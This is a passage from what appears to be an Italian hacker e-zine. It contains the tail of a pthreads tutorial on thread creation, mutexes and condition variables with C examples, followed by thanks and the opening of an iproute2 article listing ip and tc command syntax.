distribuzioni... inoltre e' l'unika ke io sappia usare quindi se non vi piace vi tokka trovare un altro insegnante :P 3 CREAZIONE DI THREAD Innanzitutto vediamo quali sono i passaggi indispensabili per creare dei thread all'interno del nostro programma. Come primo requisito abbiamo l'inclusione nel nostro programma dell'header file della libreria per la gestione dei thread sotto linux : #include Inoltre in fase di compilazione dovremo linkare al nostro codice quello della libreria, percio' dovremo scrivere qualcosa come : gcc -o test test.c -lpthread Adesso proviamo a scrivere un piccolo programma di esempio che crei un thread che stampa ripetutamente una stringa sullo schermo mentre il nostro programma principale sara' in perenne attesa. Per assegnare il codice da eseguire ad un thread si scrive una funzione che avra' un prototipo del tipo : void (*nome_della_funzione)(void* argomento); e passeremo il puntatore a questa funzione a ``pthread_create'', funzione che, appunto, creera' il thread e gli assegnera' il codice da eseguire (l'entry point del thread). Tengo a sottolineare che il parametro della funzione di partenza del thread e' ``void*'' e non ``void'' ed e' un puntatore che ci servira' a passare al thread tutti i dati che gli servono, organizzati in una struttura (o classe :) se sono piu' di uno (e lo saranno, lo saranno !!! :))) Esempio n.1 : 1: #include 2: #include 3: 4: /* Prototipo della funzione da associare al thread */ 5: void* echoString(void* string_to_print); 6: 7: int main() { 8: /* identificativo del thread */ 9: pthread_t first_threadA; 10: int result; 11: 12: /* creazione del thread e passaggio di un argomento al thread, 13: * in questo caso una stringa */ 14: result = pthread_create(&first_thread, NULL, &echoString, "Fuck"); 15: 16: /* loop infinito */ 17: while(1); 18: 19: exit(0); 20: } 21: 22: void* echoString(void* string_to_print) { 23: while(1) 24: printf("I say you : %s\n", string_to_print); 25: } Alla riga 2 includiamo ``pthread.h'' che e' l'header file in cui sono definite constanti , strutture e funzioni inerenti l'utilizzo dei thread. Alla riga 5 troviamo il prototipo della funzione che costituira l'entrypoint del nostro thread. Alla riga 9 dichiariamo una variabile di tipo pthread_t, questa conterra l'identificativo del thread se la sua creazione andra' a buon fine. ( Se andiamo a controllare nell'header file cosa in realta' sia effettivamente un pthread_t noteremo che non e' altro che un intero :) Alla riga 14 si trova la chiamata che creera' il thread (in questo caso sara' un thread con gli attributi di default in quanto abbiamo passato come secondo parametro, che dovrebbe essere il puntatore ad una variabile di tipo pthread_attr_t, NULL) e se la chiamata e' andata a buon fine inserira' in first_thread l'id del thread appena creato e fara' eseguire al thread appena creato la funzione passatagli come terzo parametro, passandogli cone argomento il quinto argomento. Alla riga 17 il processo principale entra in un loop infinito da cui non uscira' fino a che non premiamo ^C da console. Dalla riga 22 alla 25 troviamo la definizione della funzione precedentemente dichiarata. Sara' proprio questo il codice che il nostro thread eseguira' parallelamente all'esecuzione del processo principale. 3.1 Note sulla scrittura del codice dei thread. Si deve prestare particolare attenzione nello scrivere il codice relativo ai vari thread. In particolare alcuni funzioni come ``delay'' agiscono sull'intero processo e non sul singolo thread, quindi facendo una chiamata a ``delay'' da uno dei thread non sara' solo quel thread a mettersi in pausa ma l'intero processo. Inoltre bisogna tenere in conto nel manipolare variabili globali che altri thread potrebbero accedere a quella stessa variabile in un istante molto vicino al momento in cui la stiamo modificando generando risultati inaspettati. Come ultima nota bisogna dire che il thread dovrebbe terminare con la chiamata ``pthread_exit'' solo cosi' possiamo essere certi della sua terminazione. 4 Sincronizzazione Nei programmi multithreading dobbiamo prestare particolare attenzione nell'ac- cedere alle variabili globali. Dobbiamo ricordare infatti che le funzioni associate ai thread non sono normali funzioni in quanto vengono eseguite in parallelo, quindi fino a quando interagiamo esclusivamente con le variabili locali (che vengono allocate nello stack personale del thread e sono quindi inaccessibili da altri thread) non ci sono problemi, ma nell'accedere alle variabili globali dovremmo stabilire una politica di accesso che ci assicuri che mentre un thread sta accedendo a una variabile nessun altro thread tenti di manipolare la stessa. La libreria pthread (che sta per POSIX Threads) ci mette a disposizione proprio per questo scopo una struttura detta ``mutex'' e una struttura detta ``condition'' e un buon numero di funzioni per manipolarli. 4.1 I Mutex Mutex sta per dispositivo di ``MUTual EXclusion'' e' servono per l'appunto per proteggere dati condivisi da accessi concorrenti. Gli stati di un mutex sono solo due : 1. bloccato (posseduto da un thread); 2. sbloccato (non posseduto da nessun thread). Percio' un thread non puo' essere posseduto da due thread contemporaneamente. Se un thread tentasse di bloccare un mutex che si trova gia' in stato di bloccato, verrebbe sospeso fino a quando il thread possessore del mutex non lo rilasci. La chiamata ``pthread_mutex_init'' inizializza un mutex secondo gli attributi specificati da una struttura pthread_mutexattr_t (naturalmente se il puntatore a questa struttura e' NULL verranno usati gli attributi di default :) pthread_mutex_init(pthread_mutex_t* mutex, const pthread_mutexattr_t* mutexattr); L'implementazione per Linux dei POSIX Threads supporta soltanto l'attributo ``tipo di mutex'' (mutex kind). Ci sono 3 tipi di mutex : 1. fast (veloce) [default]; 2. recursive (ricorsivo); 3. error checking (a controllo d'errore). Le variabili di tipo pthread_mutex_t possono anche essere inizializzate staticamente con le costanti : 1. PTHREAD_MUTEX_INITIALIZER : per mutex di tipo fast; 2. PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP : per mutex di tipo ricorsivo; 3. PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP : per mutex a controllo d'errore. Le funzioni rigurdanti l'utilizzo di mutex sono : 1. int pthread_mutex_lock(pthread_mutex_t* mutex); 2. int pthread_mutex_trylock(pthread_mutex_t* mutex); 3. int pthread_mutex_unlock(pthread_mutex_t* mutex); 4. int pthread_mutex_destroy(pthread_mutex_t* mutex); 4.1.1 int pthread_mutex_lock(pthread_mutex_t* mutex); Questa funzione blocca il mutex passatogli come parametro, nel caso in cui il mutex non sia bloccato verra' bloccato e sara' posseduto dal thread chiamante, di conseguenza ``pthread_mutex_lock `` ritornera' immediatamente. Se il mutex e' gia' posseduto da un altro thread, il thread chiamante verra' sospeso fino a quando il mutex sara' sbloccato nel thread possessore, solo allora ``pthread_mutex_lock'' ritornera'. Se il mutex era gia' stato bloccato dallo stesso thread chiamante, il comportamento di ``pthread_mutex_lock'' cambia a seconda del tipo di mutex. 1. Se il mutex e' di tipo ``fast'', il thread chiamante sara' sospeso fino a quando il mutex non sia stato sbloccato, cosa che naturalmente non avverra' molto presto :))) e causera' il blocco totale del thread (deadlock). 2. Se il mutex e' di tipo ``recursive'', la chiamata avra' successo e ritornera' immediatamente, ricordando il numero di volte che il thread chiamante a bloccato il thread... saranno necessarie un ugual numero di chiamate a pthread_mutex_unlock perche' il mutex ritorni nello stato di sbloccato. 3. Se il mutex e' di tipo ``errorchecking'', la chiamata ritornera' immediatamente con il codice di errore EDEADLK. 4.1.2 int pthread_mutex_trylock(pthread_mutex_t* mutex); Il comportamento di questa funzione e' identica a quello della precedente, solo che il thread chiamante non verra' bloccato nel caso in cui il mutex sia gia' bloccato, ma ritornera' immediatamente con il codice di errore EBUSY. 4.1.3 int pthread_mutex_unlock(pthread_mutex_t* mutex); Questa funzione, come sicuramente intuirete :P, sblocca il mutex passatogli come parametro. La funzione assume che il mutex sia in stato di bloccato e che sia posseduto dal thread chiamante. Anche il comportamento di questa funzione varia a seconda del tipo di mutex che le passiamo : 1. Se il mutex e' di tipo ``fast'', la funzione ritornera' sempre il mutex nello stato di sbloccato. 2. Se il mutex e' di tipo ``ricorsivo'', la funzione decrementera' il contatore all'interno del mutex (che contiene il numero di volte che e' stato bloccato) e solo quando questo contatore raggiungera' il valore 0 il mutex verra' sbloccato. 3. Se il mutex e' di tipo ``errorchecking'', la funzione controllera' in run-time che il mutex passatogli sia in stato di bloccato e che il possessore sia proprio il thread chiamante. Se non fosse cosi' ritornerebbe un codice di errore e il mutex rimarrebbe inalterato. Per i mutex ``fast'' e ``recursive'' non viene effettuato nessun tipo di controllo, ne' sullo stato del mutex ne' sull'effettivo possessore del mutex, di conseguenza questo tipo di mutex permettono a thread diversi dal possessore di sbloccare il mutex. 4.1.4 int pthread_mutex_destroy(pthread_mutex_t* mutex); Questa chiamanta distrugge un oggetto mutex e ne libera le risorse. Nell'imple- mentazione per Linux, non ci possono essere risorse associate al mutex, quindi questa chiamata non fa niente oltre a controllare che il mutex non sia in stato di bloccato (in tal caso la chiamata non andrebbe a buon fine e il mutex rimarra' intatto). 4.1.5 Esempio pratico di sincronizzazione con i mutex. Per comprenderne meglio il funzionamento scriveremo un semplice programma che metta alla prova il funzionamento dei mutex. Faremo in modo che il programma principale crei prima un mutex e lo blocchi, e poi crei un thread che come prima cosa tentera' di bloccare lo stesso mutex, che essendo gia' in stato di bloccato provochera' la sospensione del thread chiamante. Dal programma principale intanto attenderemo la pressione di un tasto, dopo di che sbloccheremo il mutex e con lui anche il thread :) Esempio n.2 : 1: #include 2: #include 3: 4: pthread_mutex_t fastMtx = PTHREAD_MUTEX_INITIALIZER; 5: 6: void* thrd_function1(void* arg); 7: 8: int main() { 9: pthread_t thrdID; 10: 11: pthread_mutex_lock(&fastMtx); 12: 13: pthread_create(&thrdID, NULL, &thrd_function1, NULL); 14: 15: getchar(); 16: 17: pthread_mutex_unlock(&fastMtx); 18: 19: while (1); 20: 21: return 0; 22: } 23: 24: void* thrd_function1(void* arg) { 25: int i; 26: pthread_mutex_lock(&fastMtx); 27: 28: for (i=0; i<4; i++) 29: printf("Fuck You\n"); 30: 31: pthread_mutex_unlock(&fastMtx); 32: 33: pthread_exit(0); 34: } Alla riga 4 inizializziamo il mutex con il metodo statico, lo abbiamo dichiarato globale perche', chiaramente, deve essere accessibile dai vari thread e quindi si deve trovare nei dati condivisi da tutti i thread. Alla riga 11 il main (che rappresenta anche lui un ``thread'', il processo principale) blocca il mutex ancora prima di creare il thread. Alla riga 13 viene creato il thread. Il thread si blocchera' immediatamente perche' come prima cosa cerca di bloccare il mutex gia' posseduto dal processo principale (riga 26) Alla riga 17, dopo aver atteso la pressione di un tasto, il processo principale rilascia il mutex ed entra in un ciclo infinito. Essendo il mutex di nuovo libero il thread precedentemente sospeso puo' essere ora ripreso. Alla righe 28-29 vediamo che il thread stampa 4 volte la stringa ``Fuck You\n'' (vi voglio bene :P ) prima di terminare. 4.2 Le Condition Le ``Condition'' (condizioni) sono una struttura che ci permettere di sincronizzare i thread sospendendo la loro esecuzione (e quindi facendoli rilasciare il processore) fino a quando una certa condizione su dei dati condivisi non viene soddisfatta. Le operazioni che si possono fare con una ``condition'' possiamo dividerle in 3 tipi : 1. Inizializzazione e distruzione; 2. Segnalazione (quando un thread deve segnalare ai thread in attesa il verificarsi della condizione); 3. Attesa della segnalazione (quando un thread si mette in attesa rilasciando il processore). 4.2.1 Inizializzazione e distruzione Per inizializzare una ``condition variable'' possiamo utilizzare la funzione apposita pthread_cond_init o inizializzarla staticamente usando la costante PTHREAD_COND_INITIALIZER. int pthread_cond_init(pthread_cond_t* cond, pthread_condattr_t * cond_attr); questa funzione inizializza la condizione ``cond'' usando gli attributi specificati da ``cond_attr'' o quelli di default se ``cond_attr'' e' NULL. Dato che l'implementazione per Linux dei pthread non supporta alcun tipo di attributi per cui ``cond_attr'' viene ignorata e viene mantenuta solo per mantenere la compatibilita'. Piu' semplicemente potremmo scrivere : pthread_cond_t cond = PTHREAD_COND_INITIALIZER. Per distruggere una ``condition variable'' si utilizza la funzione : int pthread_cond_destroy(pthread_t* cond); Se ci sono dei thread in attesa della condizione ``cond'' la funzione non avra' successo e ritornera' il codice di errore EBUSY. 4.2.2 Segnalazione Le funzioni per segnalare che la condizione si e' verificata sono 2 : 1. int pthread_cond_signal(pthread_cond_t* cond); 2. int pthread_cond_broadcast(pthread_cond_t* cond); Entrambe servono a segnalare che la condizione ``cond'' si e' verificata, la differenza sta nel fatto che la (1) fa ripartire solo 1 dei thread in attesa mentre la (2) fa ripartire tutti i thread in attesa. 4.2.3 Attesa della segnalazione Per mettere in attesa di una condizione un thread si usa la funzione : int pthread_cond_wait(pthread_cond_t* cond); Questa funzione sospende l'esecuzione del thread chiamante fino a quando un altro thread non gli segnali di ripartire con una delle chiamate viste in precedenza. Oltre a questa c'e' un'altra chiamata per mettere in attesa un thread : int pthread_cond_timedwait(pthread_cond_t* cond, pthread_mutex_t* mutex, const struct tipespec* abstime); che si mette in attesa della codizione ``cond'' al massimo per un tempo ``abstime'' dopodiche' ritorna con il codice di errore ETIMEDOUT, anziche' EINTR nel caso di segnale. (abstime sta per ``absolute time'', cioe' 0 abstime = 00:00:00 GMT, January 1, 1970) 4.2.4 NOTE A ogni ``condition variable'' va sempre associato un ``mutex'', questo per evitare che la condizione venga segnalata proprio mentre un thread si prepara a mettersi in attesa. Percio' un thread prima di mettersi in attesa effettuera' un lock sul ``mutex'' associato alla ``condition'' : pthread_mutex_lock(&mutex); pthread_cond_wait(&cond, &mutex); /* Operazioni varie al verificarsi della condizione */ pthread_mutex_unlock(&mutex); Cosi' come prima di segnalare una condizione : pthread_mutex_lock(&mutex); /* al verificarsi di una certa condizione */ pthread_cond_brodcast(&cond); pthread_mutex_unlock(&mutex); 4.2.5 Un (BRUTTO) esempio di uso delle ``condition'' Purtroppo pecco un po' in fantasia nel codare gli esempi :( Nel prossimo esempio vedremo come utilizzare le ``condition''. Il programma e' composto da 2 thread oltre al processo principale; il programma principale crea i 2 thread e poi attende un tasto, a seconda del tasto premuto segnalera' la condizione ad 1, a tutti, o a nessun thread. I thread da parte loro, invece, entrano in un ciclo infinito in cui attendono la segnalazione e, a segnalazione avvenuta, incrementano una variabile (var1 per il primo thread e var2 per il secondo). Esempio n. 3 : 1: #include 2: #include 3: 4: void* thrd_function1(void* arg); 5: void* thrd_function2(void* arg); 6: 7: pthread_cond_t condition = PTHREAD_COND_INITIALIZER; 8: pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 9: 10: int var1=0, var2=0; 11: 12: int main() { 13: char k=20; 14: pthread_t thrd1, thrd2; 15: 16: pthread_create(&thrd1, NULL, &thrd_function1, NULL); 17: pthread_create(&thrd2, NULL, &thrd_function2, NULL); 18: 19: while(1) { 20: printf("Il valore 1 = %d\nIl valore 2 = %d\n\n", var1, var2); 21: k = getchar(); 22: fgetc(stdin); 23: pthread_mutex_lock(&mutex); 24: if(k=='2') { 25: pthread_cond_broadcast(&condition); 26: } 27: else if(k=='1') { 28: pthread_cond_signal(&condition); 29: } 30: pthread_mutex_unlock(&mutex); 31: sleep(1); 32: } 33: return 0; 34: } 35: 36: void* thrd_function1(void* arg) { 37: int i; 38: while(1) { 39: pthread_mutex_lock(&mutex); 40: pthread_cond_wait(&condition, &mutex); 41: 42: var1++; 43: 44: pthread_mutex_unlock(&mutex); 45: } 46: } 47: 48: void* thrd_function2(void* arg) { 49: int i; 50: while(1) { 51: pthread_mutex_lock(&mutex); 52: pthread_cond_wait(&condition, &mutex); 52: 53: var2++; 54: 55: pthread_mutex_unlock(&mutex); 56: } 57: 58: pthread_exit(0); 59: } Alle righe 7 e 8 dichiariamo ed inizializziamo una ``condition'' e un ``mutex'' (di tipo fast) mediante l'inizializzazione statica. Alle righe 16 e 17 creamo i due thread assegnandoli le rispettive funzioni. Alle riga 19 il programma principale entra in un ciclo infinito. Alla riga 21 leggiamo un tasto : se il tasto letto e' '1' segnaliamo la condizione ad un solo thread (riga 28), se e' '2' la segnaliamo a tutti i thread in attesa (riga 25) altrimenti non fa niente :) Alla riga 31 attendiamo un secondo per dare il tempo ai thread di aggiornare le variabili. (avremmo anche potuto usare due altri mutex per proteggere le due variabili :). Alla riga 40 e 52 il thread si mette in attesa della condizione ``condition''. L'esempio e' semplice (e stupido anche) ma rende piu' o meno l'idea di come si utilizzino le ``condition''. Non prendetelo come esempio di programmazione pero'!!! :P 5 BIBLIOGRAFIA 1. Getting Started With POSIX Threads ( Tom Wagner / Don Towsley - Department of Computer Science, University of Mussachusetts At Amherst) http://dis.cs.umass.edu/~wagner/thread_html/index.html - ftp://dis.cs.umass.edu/pub/pthreads.ps.Z 2. Progettazione e sviluppo dei Sistemi Operativi ( Andrew S. Tanenbaum ) 3. man pages di Linux ( Xavier Leroy - man ``nomefunzione'' :) 4. header files della libreria ( /usr/include :))) 6 THANX Ringrazio tutte le persone a cui per un motivo o per l'altro devo qualcosa : (R)ipLey (perche' mi sta sempre vicino :), netZus6, Icia (perche' gli voglio bene :), buendia, ^C, fus4, \x80, CyRaX, recidjvo, CapoTribu, GalloCedrone, St4nkoM4n, SpunZale, Neural_Noise. Vorrei inoltre salutare in modo speciale : meti che ho ``conosciuto'' su #linux-it e mi ha gentilmente bannato per avergli chiesto se sapesse dell'esistenza di un pacchetto per linux simile al SocksCap per Windows... adesso lo so... non grazie a te comunque (e sopratutto non hai nessun diritto di chiamarmi lamer ):| ). Niente rancore da perte mia, xo' potrebbero essere un po' piu' gentili su #linux-it visto l'enorme aumento che l'utenza linux sta subendo in questo periodo. Se non possono trovare aiuto su ``#linux-it'' dove andranno i nostri piccoli linuxNewbies italiani a chiedere delucidazioni? Dovremmo aiutarci fra di noi invece di metterci reciprocamente i bastoni fra le ruote!!! Altrimenti a cosa serve l'openSource? me lo spiegate? Iproute2 La Vendetta! 1 Parte Pace fratelli! Miiiii direte, ma allora elvis non morto!;DDD Ebbene si!:D Sono ancora vivo! Questo che leggete il mio primo articolo per Newbies, se mai riuscir a finirlo, per cui non un gran ch. In sostanza si tratta di ripp..ehmm...traduzioni di how to e simili con un bel riassemblaggio allegro del tutto. Alcune frasi sono prive di senso per colpa del passaggio di idioma ;DDD. In questa prima parte troverete una introduzione a Iproute2 in cui non si capisce niente...o forse si; poi c' la sintassi di tutti i comandi o quasi e poi un po' di esempi e utilizzi dei vari tool. Nelle prossime puntate spieg/ripp/traburr la spiegazione di tutti i comandi e metter un bel po' di roba sul queueing e su quello che mi chiederete, purch abbia attinenza con questi argomenti;D (NON mandate mail del tipo "...ti prego, voglio delle password di siti porno!! Ne ho bisogno!..." :DD perch non risponder, e poi oltretutto questo argomento stato trattato in senso lato su questi schermi con l'articolo su come hackarne uno di sito pornoz;DDD...). Buona lettura... 1 - Introduzione 1.1 - Perch iproute2 Le maggiori distribuzioni Linux e UNIX correntemente usano gli oramai storici e venerabili comandi 'arp', 'ifconfig' e 'route' per la gestione del routing, che per non consentono pi di sfruttare tutte le possibilit del Kernel linux. Ad esempio, i tunnel GRE sono una parte integrante di quello che il routing, ma richiedono tools completamente differenti. Con iproute2, i tunnels sono una parte integrante del set di tools (iproute2 un insieme di tools e programmilli vari;DD). I kernel 2.2 e superiori includono un sottosistema di rete completamente ridisegnato dalle precedenti versioni. Questo nuovo codice di networking da a Linux un set di performance e possibilit senza appesantire il sistema operativo. Il nuovo routing filtering inoltre mette a disposizione pi flessibilit e potenza che quella che si ha a disposizione con routers dedicati, firewalls e software di pianificazione del traffico. Linux ha un sistema sofisticato di assegnazione di banda chiamato Traffic Control. Questo sistema supporta vari metodi per classificare, limitare, dividere e dare una priorit sia al traffico in arrivo che a quello in uscita. Iniziamo con una panoramica sulle possibilit di Iproute2 per poi passare ad esempi e possibili implementazioni. Articoli avanzati saranno inseriti nelle prossime "puntate";D. 1.2 - Installazione Per prima cosa scaricate iproute2 da uno dei seguenti ftp: ftp://ftp.nc.ras.ru/pub/mirrors/ftp.inr.ac.ru/ip-routing/ ftp://ftp.sunet.se/pub/Linux/ip-routing/ Una volta finito il downloading, scompattate l'archivio con il comando tar xzvf iproute-current.tar.gz. Entrate nella dir appena creata. Se necessario editate Makefile inserendo al suo interno i file include del kernel mediante la variabile KERNEL_INCLUDES e inserendo istruzioni riguardo librerie o simili. Un semplice "make all" compila i programmi ip/ip, ip/rtmon e tc/tc. Copiate questi eseguibili nella cartella /sbin e siete pronti per iniziare. La maggior parte delle possibilit che ip e tc sfruttano del kernel Linux non sono probabilmente incluse nel vostro kernel attuale, quindi ricordatevi di includere i giusti moduli. 2 - Ma quanti comandi c'ha? 2.1 - Sintassi dei comandi 2.1.1 - Comando "ip" Dal file iproute2/ip/ip.c Sintassi: ip [ OPTIONS ] OBJECT { COMMAND | help } OBJECT := { link | addr | route | rule | neigh | tunnel |maddr | mroute | monitor } OPTIONS := { -V[ersion] | -s[tatistics] | -r[esolve] | -f[amily] { inet | inet6 | dnet | link } | -o[neline] } Se avviato come "ipaddr", "iproute", "iprule", "ipneigh", "iplink", "iptunnel" o "ipmonitor", ip avvia gli appropriati sottocomandi. Sottocomando "ip link" Dal file iproute2/ip/iplink.c Sintassi: ip link set DEVICE { up | down | arp { on | off } dynamic { on | off }| multicast { on | off } | txqueuelen PACKETS | name NEWNAME | address LLADDR | broadcast LLADDR | mtu MTU } ip link show [ DEVICE ] Sottocomando "ip address" Dal file iproute2/ip/ipaddress.c Sintassi: ip addr {add|del} IFADDR dev STRING ip addr {show|flush} [ dev STRING ] [ scope SCOPE-ID ] [ to PREFIX ] [ FLAG-LIST ] [ label PATTERN ] IFADDR := PREFIX | ADDR peer PREFIX [ broadcast ADDR ] [ anycast ADDR ] [ label STRING ] [ scope SCOPE-ID ] SCOPE-ID := [ host | link | global | NUMBER ] FLAG-LIST := [ FLAG-LIST ] FLAG FLAG := [ permanent | dynamic | secondary | primary | tentative | deprecated ] Sottocomando "ip neighbor" Dal file iproute2/ip/ipneigh.c Sintassi: ip neigh { add | del | change | replace } { ADDR [ lladdr LLADDR ][ nud { permanent | noarp | stale | reachable } ] | proxy ADDR } [ dev DEV ] ip neigh {show|flush} [ to PREFIX ] [ dev DEV ] [ nud STATE ] Sottocomando "ip rule" Dal file iproute2/ip/iprule.c Sintassi: ip rule [ list | add | del ] SELECTOR ACTION SELECTOR := [ from PREFIX ] [ to PREFIX ] [ tos TOS ] [ fwmark FWMARK ] [ dev STRING ] [ pref NUMBER ] ACTION := [ table TABLE_ID ] [ nat ADDRESS ] [ prohibit | reject | unreachable ] [ realms [SRCREALM/]DSTREALM ] TABLE_ID := [ local | main | default | NUMBER ] Sottocomando "ip route" Dal file iproute2/ip/iproute.c Sintassi: ip route { list | flush } SELECTOR ip route get ADDRESS [ from ADDRESS iif STRING ] [ oif STRING ] [ tos TOS ] ip route { add | del | replace | change | append | replace | monitor } ROUTE SELECTOR := [ root PREFIX ] [ match PREFIX ] [ exact PREFIX ] [ table TABLE_ID ] [ proto RTPROTO ] [ type TYPE ] [ scope SCOPE ] ROUTE := NODE_SPEC [ INFO_SPEC ] NODE_SPEC := [ TYPE ] PREFIX [ tos TOS ] [ table TABLE_ID ] [ proto RTPROTO ] [ scope SCOPE ] [ metric METRIC ] INFO_SPEC := NH OPTIONS FLAGS [ nexthop NH ]... NH := [ via ADDRESS ] [ dev STRING ] [ weight NUMBER ] NHFLAGS OPTIONS := FLAGS [ mtu NUMBER ] [ advmss NUMBER ] [ rtt NUMBER ] [ rttvar NUMBER ] [ window NUMBER] [ cwnd NUMBER ] [ ssthresh REALM ] [ realms REALM ] TYPE := [ unicast | local | broadcast | multicast | throw | unreachable | prohibit | blackhole | nat ] TABLE_ID := [ local | main | default | all | NUMBER ] SCOPE := [ host | link | global | NUMBER ] FLAGS := [ equalize ] NHFLAGS := [ onlink | pervasive ] RTPROTO := [ kernel | boot | static | NUMBER ] Sottocomando "ip tunnel" Dal file iproute2/ip/iptunnel.c Sintassi: ip tunnel { add | change | del | show } [ NAME ] [ mode { ipip | gre | sit } ] [ remote ADDR ] [ local ADDR ] [ [i|o]seq ] [ [i|o]key KEY ] [ [i|o]csum ] [ ttl TTL ] [ tos TOS ] [ [no]pmtudisc ] [ dev PHYS_DEV ] Dove: NAME := STRING ADDR := { IP_ADDRESS | any } TOS := { NUMBER | inherit } TTL := { 1..255 | inherit } KEY := { DOTTED_QUAD | NUMBER } Sottocomando "ip maddress" Dal file iproute2/ip/ipmaddr.c Sintassi: ip maddr [ add | del ] MULTIADDR dev STRING ip maddr show [ dev STRING ] Sottocomando "ip mroute" Dal file iproute2/ip/ipmroute.c Sintassi: ip mroute show [ PREFIX ] [ from PREFIX ] [ iif DEVICE ] Sottocomando "ip monitor" Dal file iproute2/ip/ipmonitor.c Sintassi: ip monitor [ all | LISTofOBJECTS ] 2.1.2 - Comando "rtmon" Dal file iproute2/ip/rtmon.c Sintassi: rtmon file FILE [ all | LISTofOBJECTS] LISTofOBJECTS := [ link ] [ address ] [ route ] 2.1.3 - Comando "tc" Dal file iproute2/tc/tc.c Sintassi: tc [ OPTIONS ] OBJECT { COMMAND | help } Dove: OBJECT := { qdisc | class | filter } OPTIONS := { -s[tatistics] | -d[etails] | -r[aw] } Sottocomando "qdisc" Dal file iproute2/tc/tc_qdisc.c Sintassi: tc qdisc [ add | del | replace | change | get ] dev STRING [ handle QHANDLE ] [ root | ingress | parent CLASSID ] [ estimator INTERVAL TIME_CONSTANT ] [ [ QDISC_KIND ] [ help | OPTIONS ] ] tc qdisc show [ dev STRING ] [ingress] Dove: QDISC_KIND := { [p|b]fifo | tbf | prio | cbq | red | etc. } OPTIONS := ... try tc qdisc add help Sottocomando "qdisc [p|b]fifo" Dal file iproute2/tc/q_fifo.c Sintassi: ... [p|b]fifo [ limit NUMBER ] Sottocomando "qdisc tbf" Dal file iproute2/tc/ Sintassi: ... tbf limit BYTES burst BYTES[/BYTES] rate KBPS [ mtu BYTES[/BYTES] ] [ peakrate KBPS ] [ latency TIME ] Sottocomando "qdisc cbq" Dal file iproute2/tc/q_cbq.c Sintassi: ... cbq bandwidth BPS avpkt BYTES [ mpu BYTES ] [ cell BYTES ] [ ewma LOG ] Sottocomando "qdisc red" Dal file iproute2/tc/q_red.c Sintassi: ... red limit BYTES min BYTES max BYTES avpkt BYTES burst PACKETS probability PROBABILITY bandwidth KBPS Vedi l'algoritmo... Sottocomando "qdisc sfq" Dal file iproute2/tc/q_sfq.c Sintassi: ... sfq [ perturb SECS ] [ quantum BYTES ] Sottocomando "qdisc prio" Dal file iproute2/tc/q_prio.c Sintassi: ... prio bands NUMBER priomap P1 P2... Dal file linux/net/sched/sch_prio.c * net/sched/sch_prio.c Simple 3-band priority "scheduler". Sottocomando "class" Dal file iproute2/tc/tc_class.c Sintassi: tc class [ add | del | change | get ] dev STRING [ classid CLASSID ] [ root | parent CLASSID ] [ [ QDISC_KIND ] [ help | OPTIONS ] ] tc class show [ dev STRING ] [ root | parent CLASSID ] Dove: QDISC_KIND := { prio | cbq | etc. } OPTIONS := ... try tc class add help Sottocomando "class cbq" Dal file iproute2/tc/q_cbq.c Sintassi: ... cbq bandwidth BPS rate BPS maxburst PKTS [ avpkt BYTES ] [ minburst PKTS ] [ bounded ] [ isolated ] [ allot BYTES ] [ mpu BYTES ] [ weight RATE ] [ prio NUMBER ] [ cell BYTES ] [ ewma LOG ] [ estimator INTERVAL TIME_CONSTANT ] [ split CLASSID ] [ defmap MASK/CHANGE ] Sottocomando "estimator" Dal file iproute2/tc/m_estimator.c Sintassi: ... estimator INTERVAL TIME-CONST INTERVAL is interval between measurements TIME-CONST is averaging time constant Esempio: ... est 1sec 8sec\ filter Dal file iproute2/tc/tc_filter.c Sintassi: tc filter [ add | del | change | get ] dev STRING [ pref PRIO ] [ protocol PROTO ] [ estimator INTERVAL TIME_CONSTANT ] [ root | classid CLASSID ] [ handle FILTERID ] [ [ FILTER_TYPE ] [ help | OPTIONS ] ] tc filter show [ dev STRING ] [ root | parent CLASSID ] Dove: FILTER_TYPE := { rsvp | u32 | fw | route | etc. } FILTERID := ... format depends on classifier, see there OPTIONS := ... try tc filter add help Sottocomando "filter rsvp" Dal file iproute2/tc/f_rsvp.c Sintassi: ... rsvp ipproto PROTOCOL session DST[/PORT | GPI ] [ sender SRC[/PORT | GPI ] [ classid CLASSID ] [ police POLICE_SPEC ] [ tunnelid ID ] [ tunnel ID skip NUMBER ] Dove: GPI := { flowlabel NUMBER | spi/ah SPI | spi/esp SPI | u{8|16|32} NUMBER mask MASK at OFFSET} POLICE_SPEC := ... look at TBF FILTERID := X:Y Sottocomando "filter u32" Dal file iproute2/tc/f_u32.c Sintassi: ... u32 [ match SELECTOR ... ] [ link HTID ] [ classid CLASSID ] [ police POLICE_SPEC ] [ offset OFFSET_SPEC ] [ ht HTID ] [ hashkey HASHKEY_SPEC ] [ sample SAMPLE ] o u32 divisor DIVISOR Dove: SELECTOR := SAMPLE SAMPLE ... SAMPLE := { ip | ip6 | udp | tcp | icmp | u{32|16|8} } SAMPLE_ARGS FILTERID := X:Y:Z Sottocomando "filter fw" Dal file iproute2/tc/f_fw.c Sintassi: ... fw [ classid CLASSID ] [ police POLICE_SPEC ] POLICE_SPEC := ... look at TBF CLASSID := X:Y Dal file linux/net/sched/cls_fw.c * net/sched/cls_fw.c Classifier mapping ipchains' fwmark to traffic class. Sottocomando "filter route" Dal file iproute2/tc/f_route.c Sintassi: ... route [ from REALM | fromif TAG ] [ to REALM ] [ flowid CLASSID ] [ police POLICE_SPEC ] POLICE_SPEC := ... look at TBF CLASSID := X:Y\n Sottocomando "police" Dal file iproute2/tc/m_police.c Sintassi: ... police rate BPS burst BYTES[/BYTES] [ mtu BYTES[/BYTES] ] [ peakrate BPS ] [ avrate BPS ] [ ACTION ] Dove: ACTION := reclassify | drop | continue 3 - Iniziamo a smanettare 3.1 - Esplorare la configurazione corrente Dopo l'installazione Iproute2 gi configurato. I comandi correnti ifconfig e route usano gi alcune chiamate al sistema avanzate, ma la maggior parte in modo limitato o con settings di default. -Il tool principale della "raccolta" iproute2 'ip'. Vediamo come vedere le connessioni in un esempio del router NAT a casa mia. [elvis@memphis]$ ip link list 1: lo: mtu 3924 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: dummy: mtu 1500 qdisc noop link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff 3: eth0: mtu 1400 qdisc pfifo_fast qlen 100 link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff 4: eth1: mtu 1500 qdisc pfifo_fast qlen 100 link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff 3764: ppp0: mtu 1492 